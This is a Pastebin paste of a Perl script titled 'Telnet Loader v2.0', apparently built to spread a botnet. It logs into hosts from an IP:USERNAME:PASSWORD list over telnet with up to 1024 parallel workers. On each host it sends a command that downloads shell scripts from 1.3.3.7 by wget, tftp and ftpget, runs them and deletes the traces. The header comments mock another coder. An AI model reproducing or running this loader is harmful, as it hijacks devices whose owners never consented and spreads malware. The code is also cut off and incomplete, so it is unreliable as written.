Advertisement
1337ings

[Perl] Telnet-Loader v2.0 | Format: IP:USERNAME:PASSWORD

Mar 9th, 2017
2,090
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.80 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # - - - - - - - - - - - - - - - - - - - - - - - #
  3. # Telnet Loader v2.0
  4. # IP:USERNAME:PASSWORD format
  5. # Created because LNO_LIGHT is gay
  6. # & doesn't know how to code a working loader
  7. # this is LNOs' gay python version
  8. # http://pastebin.com/SGKZY757
  9. # as you can see, it doesn't/won't
  10. # connect/execute the payload lool
  11. # so if you're dearest friends with
  12. # LNO_LiGHT please consist of showing
  13. # him this elegant code :)
  14. # - - - - - - - - - - - - - - - - - - - - - - - #
  15. # Usage: perl telnet_loader.pl telnet_list.txt
  16. # Format: IP:USER:PASS
  17. # - - - - - - - - - - - - - - - - - - - - - - - #
  18. #!/usr/bin/perl
  19.  
  20. if (@ARGV < 1)
  21. {
  22. print "Usage: perl " . $0 . " <list>\n";
  23. exit;
  24. }
  25. use Net::Telnet;use Parallel::ForkManager;
  26.  
  27. my $checkTelnet = true;
  28. my $botCmd = 'cd /tmp || cd /var/system || cd /mnt || cd /lib || cd /var/run || cd /root || cd /; wget http://1.3.3.7/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 1.3.3.7 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 1.3.3.7; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 1.3.3.7 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh\n';
  29. my $worker = new Parallel::ForkManager(1024); open(fh, "<", @ARGV[0]); @login; while (<fh>)
  30. {
  31. @array = split(":", $_); push(@login, @array);
  32. }
  33. for (my $i = 0; $i < scalar(@login); $i += 3)
  34. {
  35. $worker->start and next;
  36. $a = $i; # IP Address
  37. $b = $i + 1; # Username
  38. $c = $i + 2; # Password
  39. my $telnet = new Net::Telnet();
  40. if($checkTelnet && $telnet->open(Host=>$login[$a], Timeout=>30))
  41. {
  42. my$res=$telnet->login($login[$b],$login[$c]);
  43. if ($res){
  44. $telnet->cmd($botCmd);
  45. sleep 30;
  46. print "[\033[32m+\033[37m] Command sent $login[$a]\n";
  47. $worker->finish;
  48. }
  49. $worker->wait_all_children;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement